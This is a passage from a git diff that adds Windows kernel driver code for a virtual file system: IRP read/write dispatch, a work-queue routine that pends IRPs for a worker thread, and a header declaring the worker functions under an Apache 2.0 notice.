IRP_MJ_READ) { + VFSRead(DeviceObject, irp); + } else if(irpStack->MajorFunction == IRP_MJ_WRITE) { + VFSWrite(DeviceObject, irp); + } + + } +} + +NTSTATUS +VFSQueueWorkItem( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ) + +/*++ + + Routine Description: + + Queues read/write I/O request packet to work queue which will then + be read by the worker thread which monitors the work queue and + completes the IRP + + Arguments: + + DeviceObject - DeviceObject associated with the VFS which is + trying to be read/written to + + irp - I/O Request Packet associated with the read/write request + + Return Value: + + Returns STATUS_PENDING to indicate that the IRP is waiting to + be processed by worker thread + +--*/ + +{ + PVFS_DEVICE_EXTENSION VFSExtension = VFS_EXTENSION(DeviceObject); + + IoMarkIrpPending(irp); + + ExInterlockedInsertTailList(&VFSExtension->QueueListHead, + &irp->Tail.Overlay.ListEntry, + &VFSExtension->lockQueue); + + KeReleaseSemaphore(&VFSExtension->semQueue, 0, 1, FALSE); + + return STATUS_PENDING; +} diff --git a/src/vfsworker.h b/src/vfsworker.h new file mode 100644 index 0000000..db0fa12 --- /dev/null +++ b/src/vfsworker.h @@ -0,0 +1,33 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +NTSTATUS +VFSQueueWorkItem( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ); + +NTSTATUS +PrepareVFSWorkerThread( + IN PDEVICE_OBJECT DeviceObject + ); + +VOID +VFSWorkerThread( + IN PDEVICE_OBJECT DeviceObject + ); \ No newline at end of file